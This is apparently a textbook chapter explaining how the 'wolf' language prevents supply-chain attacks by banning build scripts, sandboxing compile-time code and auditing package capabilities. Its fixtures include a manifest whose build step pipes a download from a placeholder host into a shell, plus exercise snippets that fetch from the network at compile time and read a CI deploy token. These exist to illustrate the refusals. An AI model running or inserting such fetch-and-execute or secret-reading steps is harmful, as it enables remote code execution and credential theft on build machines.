24. The covenant: no build scripts

"House of Glass."— Cage the Elephant

A wolf package is one. Everything it can do to the machine that builds it is written in a file you read in a minute, and the file cannot lie by omission, because there is nothing else to read.

That is the covenant, and it is one sentence long: wolf add never means arbitrary code runs on your machine. Every rule in this chapter is that sentence enforced somewhere, and the reason the language paid for it — in features it does not have, in builds it cannot vendor — is that the alternative has been tried, repeatedly, and we have the incident reports.

24.1 The threat, from history

Three incidents, one paragraph each. None of them is a hypothetical, and none of them happened to careless people.

event-stream, 2018. A widely used npm package’s maintainer, no longer interested in it, handed publish rights to a volunteer who had offered to help. The volunteer added a dependency, and later shipped a version of that dependency carrying an encrypted payload that activated only inside one specific application — a bitcoin wallet — and exfiltrated its keys. It sat undetected for roughly two months, inside a package with more than three thousand nine hundred dependents. Three things made it work: maintainership transferred socially rather than technically, the payload lived in a transitive dependency nobody was reading, and code ran at install time on every machine that fetched it. Content hashes would not have helped, because the malicious version was the version everybody hashed. (Snyk’s postmortem is the readable account.)

left-pad, 2016. An author, in a dispute with the registry, unpublished his packages. One of them was eleven lines long and computed string padding, and thousands of builds — including large, professional, well-resourced ones — stopped working within minutes. Nothing malicious ran. Nothing was compromised. A name stopped resolving, and the industry learned that a build which fetches by name from a mutable registry is a build with a dependency on somebody’s mood. (The Register’s contemporaneous report is the usual citation.)

build.rs, 2016 to now. Rust’s build scripts and procedural macros run arbitrary code, on your machine, as part of compiling a dependency. This was noticed early and honestly: RFC 1681 raised the question of whether procedural macros should be sandboxed and left it open, and it has never been answered; RFC 2136 called arbitrary build scripts “the biggest problem facing such systems”; RFC 2196 proposed a declarative retreat that remains unfinished. This is the entry on the list that is not an incident but a standing exposure, and it is the one wolf’s design is a direct response to. It is worth being precise about the criticism: the Rust authors identified the problem, wrote it down, and could not close it afterward. Retrofitting confinement onto a build system that already executes code is close to impossible, which is why this decision is one a language has to make before it has users.

Read the three together and they name three different attack surfaces: distribution (how a version reaches you), execution (what runs when it arrives), and concealment (how much you would have to read to notice). The rest of this chapter is what wolf does about the middle one — and, because the middle one is where the leverage is, what it declines to do about it.

Exercise 24-1 (spelunking · prose) — The event-stream incident, from §24.1’s sourcing. List the three legs the attack stood on — distribution, execution, and concealment — and for each leg, name the wolf mechanism from this part of the book that removes it or forces it into the open, with one sentence on the residue each mechanism cannot remove.

Exercise 24-2 (comprehension · prose) — Left-pad took thousands of builds down without executing a byte of anyone’s code. State what kind of failure it was, why the comptime sandbox is irrelevant to it — the pointed half of the question — and which chapter-23 artifacts answer it instead.

Exercise 24-3 (comprehension · prose)build.rs is the mechanism §24.1’s third paragraph indicts. Name three legitimate jobs build scripts do in the Rust ecosystem, and for each, the covenant-compatible replacement this part of the book offers. Then name the job for which the honest answer is “v1 cannot vendor that” (§24.4’s subject).

24.2 What replaces scripts

The covenant is not a policy document. It is enforced in three places, and you have already met two of them.

The first is the manifest format from §23.1: data, with no expression form. That is not merely a stylistic preference for TOML over code. A manifest that can compute cannot be read — you would have to run it to know what it says, and running it is the thing we are trying not to do. It also cannot declare its own dialect, which is why every language that shipped a Turing-complete manifest now ships every historical version of that manifest’s API forever.

Because the format is data, a key that asks for execution can be refused by name, at parse time, before one byte of the dependency’s code is trusted for anything:

$ wolf --explain E1503
E1503: the manifest declares a build-time script hook — wolf has none, ever

This manifest carries a key (`build`, `script`, `hooks`, or another
install-hook spelling) that asks for code to run on the host at build
or fetch time. Wolf rejects the key unconditionally: D33 is the locked
decision that adding a wolf dependency NEVER means arbitrary code runs
on your machine — no build.rs, no post-install hooks, no Turing-complete
manifest. This is the supply-chain posture the whole ecosystem leans
on, so it is enforced at parse time, before any dependency content is
trusted for anything. Express C-library needs through the declarative
`c: { … }` recipe schema, compute values in sandboxed `comptime`
(no ambient IO), or wrap a system/prebuilt library. The key is refused,
not ignored: a manifest that asks for execution does not resolve.

This is what such a manifest looks like, and it is a real file in this book’s own fixtures — a package that asks, in the most direct spelling available, for a shell command to run on your machine when you take it on:

pkg {
    name:    "forest/tidy",
    version: "3.0.1",
    edition: "1",

    build: { script: "curl https://tidy.example.test/postinstall | sh" },
}

“Refused, not ignored” is the load-bearing clause. A manifest that asks for a build script does not build with the script skipped; it does not resolve. There is no configuration that relaxes it, no flag, and no allowlist — a package whose manifest holds build: is a package nobody can consume, which is exactly the property that makes the covenant a covenant rather than a default.

The second place is chapter 18’s comptime tier, and this is where the covenant stops being about a file format. Real packages do have work to do before your program runs: tables to compute, shapes to check, constants to derive. Wolf’s answer is that they may do all of it, in ordinary wolf, inside a box with no filesystem, no network, no environment, no clock, no randomness, and no way to call native code:

$ wolf --explain E0701
E0701: comptime code reached for ambient IO

Comptime evaluation is hermetically sandboxed (D33): no filesystem, no
network, no environment variables, no clock, no randomness, no FFI —
the intrinsics available at compile time are an explicit allowlist,
and nothing ambient is on it. Each refusal names its category and its
reason: confinement (compiling a package must never act on or read
the machine that compiles it — `wolf add` must never mean arbitrary
code runs with your credentials) or determinism (the same program and
target must produce bit-identical comptime results on every host).
Compute the value at runtime instead; file contents belong in
*declared build inputs* through the package manifest, never in an
evaluator capability.

The sentence in the middle of that entry is the covenant restated as a mechanism: compiling a package must never act on or read the machine that compiles it. Chapter 18 showed the refusals one at a time — a file read, a clock read, a network fetch, each rejected with its category and its reason. Put them next to a build script and the difference is the whole design: a build script is compile-time code with ambient authority, and comptime is compile-time code without it. Wolf did not remove the phase. It removed the authority.

The third place is the one this book does not teach in depth, and it is where the honesty of §24.4 begins. C libraries need building, and building a C library is exactly the kind of job build scripts exist for. The covenant’s answer is that C needs are declared — the shape of the build stated as data in the manifest, executed by the toolchain itself rather than by code the package shipped — or the library is consumed as a prebuilt artifact through chapter 9’s membrane. The recipe format is reference material rather than a chapter; what matters here is who runs it. A recipe is a description the toolchain interprets. A build script is a program the package runs. One of those can be audited by reading it.

Exercise 24-4 (comprehension · wolf) — The dependency that phones home at build time, spelled as directly as wolf’s syntax allows. Predict the E-code and which of the catalog’s two refusal reasons the diagnostic will cite:

comptime fn latest_ad() -> str {
    net_fetch("https://deps.example.test/banner")
}

Exercise 24-5 (comprehension · wolf) — The build step that reads your CI secrets: env_var("CI_DEPLOY_TOKEN") inside a comptime fn. Predict the refusal reason this one cites — and note before running that chapter 18’s exercise 18-6 filed environment reads under one reason, while the diagnostic gives this capability a compound answer.

24.3 Capabilities and wolf audit

Everything so far removes authority from the build. This section is about the authority a dependency has when your program is running, which is a different question and the one the covenant cannot answer by refusing to execute things.

Wolf’s answer is a declaration. Every package states its ambient-authority footprint in its manifest, from a closed vocabulary of seven words:

capabilities: [net, fs, exec, env, ffi, unsafe, comptime]

Nothing there is a permission your program grants at run time. It is a claim about what this package’s code can reach, made in the file you already read, in a list you can diff. And because it is in the manifest, the resolver knows it for every package in your build before anything compiles — which is why chapter 23’s wolf tree printed capability sets you had not asked about yet.

wolf audit is the same graph with the question made explicit:

$ wolf audit --dir app
capability tree (I13)
den/logsearch 0.1.0 (root) caps=[]
└── rows 1.4.0 caps=[]
effective: []

Two lines of tree and one line that is the whole point. effective is the union over every package in the build, and it is the honest answer to “what can this program reach” — not what your code reaches, what your build reaches, transitively, including the dependency you have never opened. A program whose effective set is empty cannot touch the network from any line of any package in it. That is a strong claim and it is one command long.

Now the case the section exists for. A dependency gets upgraded — a new tag, a new tree, a routine bump in a pull request — and this happens:

$ wolf audit --dir app
capability tree (I13)
den/logsearch 0.1.0 (root) caps=[]
└── regex 2.2.0 caps=[net]
effective: [net]
wolf audit: `regex` ACQUIRES capability `net` (was not in wolf.sum)

A regular-expression library now wants the network.

Sit with that line for a moment, because it is the one this whole part of the language was built to produce. Nothing about it is a heuristic, a reputation score, or a scan for suspicious strings. It is a diff between two declarations: what the ledger recorded when a human last looked, and what the manifest says today. wolf.sum’s capability field, which chapter 23 introduced as the boring end of the line, is the previous state that makes the comparison possible.

The word to notice is ACQUIRES. wolf audit reports capability changes in both directions, and only one of them is your problem: a dependency dropping a capability is good news, and a dependency gaining one is a question that has to be answered before you merge. So the gate is one-directional:

$ wolf audit --ci --dir app
capability tree (I13)
den/logsearch 0.1.0 (root) caps=[]
└── regex 2.2.0 caps=[net]
effective: [net]
wolf audit: `regex` ACQUIRES capability `net` (was not in wolf.sum)
wolf audit: capability acquisition detected — refusing (--ci)
$ echo $?
1

Put wolf audit --ci in your pipeline and an upgrade that acquires authority fails the build. The ordering matters and it is deliberate: the refusal happens before any verb rewrites the ledger, so the diff cannot be lost by the same command that noticed it. Accepting the change is a separate, deliberate act — wolf update re-records the world, and the record is a line in a file that shows up in review with the word net in it.

What question does the failing gate force? Not “is this library malicious.” That question has no answer you can reach. The question is “what, concretely, will you do with it,” and it has to be answered by a person reading a changelog. The upgrade will probably have a plausible answer ready — it needs to download updated Unicode tables, say — and the plausible answer is precisely the one to refuse: it moves data acquisition from publish time, where the tables are baked into a hashed artifact anyone can audit, to run time on your machines with your network. That is a determinism loss and an exfiltration channel in one move, and the gate’s job is to make you see the trade before it is your incident.

One guarantee holds the whole mechanism up, and it is enforced rather than trusted. A package cannot under-report:

$ wolf --explain E1504
E1504: this package uses a capability its manifest does not declare

Capability manifests (I13) make a package's ambient-authority footprint
a reviewable, diffable declaration: a package that touches `std.net`
must say `capabilities: [net]` in its `wolf.pkg`, and likewise `fs` and
`env` for those facades. The build found an import of a
capability-carrying std module that the owning package's manifest does
not declare. Declare the capability (making the footprint visible to
every consumer running `wolf audit`) or drop the import. Undeclared
capability use is a build error, not a warning — the audit tree is only
trustworthy if it cannot silently under-report.

“Not a warning” is the clause that matters. A declaration nobody checks is a comment, and an audit tree built from comments is theater. Because the check is a build error, the tree is not what packages say they reach — it is what they can reach, and saying so is the only way to compile.

Exercise 24-6 (comprehension · wolf) — Take a project with one dependency whose manifest declares no capabilities, record the world with wolf update, then edit the dependency’s manifest to declare net and run wolf audit --ci. Report the exit code and the line that produced it. Then say which artifact held the previous answer, and what would have happened if that artifact had been refreshed first.

Exercise 24-8 (comprehension · prose) — “It’s only a dev-dependency” — a teammate waves through a test-helper package whose new version adds comptime code, on the grounds that it ships nothing to production. Locate the two errors, using this chapter and one fact from chapter 18.

24.4 What the covenant costs

A design argument that lists only benefits is an advertisement. Here is the bill.

Some C libraries cannot be vendored. Specifically: the ones whose build is itself a program. An autotools project’s ./configure is thousands of lines of feature detection that compiles small test programs, inspects the host, and writes a header describing what it found. That is not a build description with an awkward syntax; it is a Turing-complete probe of the machine, and its output depends on the machine by design. Wolf cannot declare it, because declaring it would mean predicting it, and wolf will not execute it, because executing it is the thing the covenant forbids. So a wrapper for such a library ships prebuilt artifacts per target, or translates the feature matrix into declared target metadata by hand, and both of those are real work borne by a real maintainer.

The obvious relief valve is a sandboxed script — network off, filesystem jailed to the package directory, enough rope to run ./configure and no more. It is refused, on three grounds worth having straight.

Precedent. The moment one package may run a jailed script, the audit answer degrades from “packages cannot run build code” to “packages cannot run build code, except the ones that can,” and the exception list becomes the attack surface. The value of this covenant is that it is answerable without a lookup.

Fidelity. A jail tight enough to keep the covenant’s promises — no host probing, no environment reads — breaks ./configure anyway, because host probing is that program’s entire method. The hatch would be both dangerous and useless, which is a rare combination.

Determinism. Feature detection’s output is a function of the build host. That is the reproducibility hole the covenant closed; a sandboxed script reopens it while looking like it did not.

There is a second cost, smaller and more common: things that would have been a build script are now your problem at run time or the toolchain’s problem at build time, and occasionally neither is convenient. Code generated from a schema wants the schema as a declared build input. Platform facts want to come from declared target metadata rather than a probe. Each of those is a slightly longer road than a script would have been.

The line holds because of who pays. The covenant prices the pain onto the few packages with exotic builds, and keeps the default trustworthy for everyone else — where “trustworthy” means a specific, checkable thing: you can read a manifest, run wolf audit, and know what a dependency can reach, without reading its code and without trusting its author. The alternative distributes a smaller pain to every consumer of every package, forever, in the form of a question they cannot answer.

Chapter 18 closed by saying that comptime’s refusals are why a package’s compile-time code is something you can build without first deciding whether you trust its author. This chapter is the other half of that sentence, and the two together are the reason the ecosystem rules read like restrictions and function as features.

Exercise 24-7 (design) — Pick the strongest real case against the covenant: a widely-needed C library whose build is a thicket of ./configure feature detection. The maintainer of a wolf wrapper asks for “one escape hatch — a sandboxed build script, network off, fs jailed to the package directory.” Argue the refusal, then state what the covenant’s answer costs this maintainer in practice and why the line holds anyway.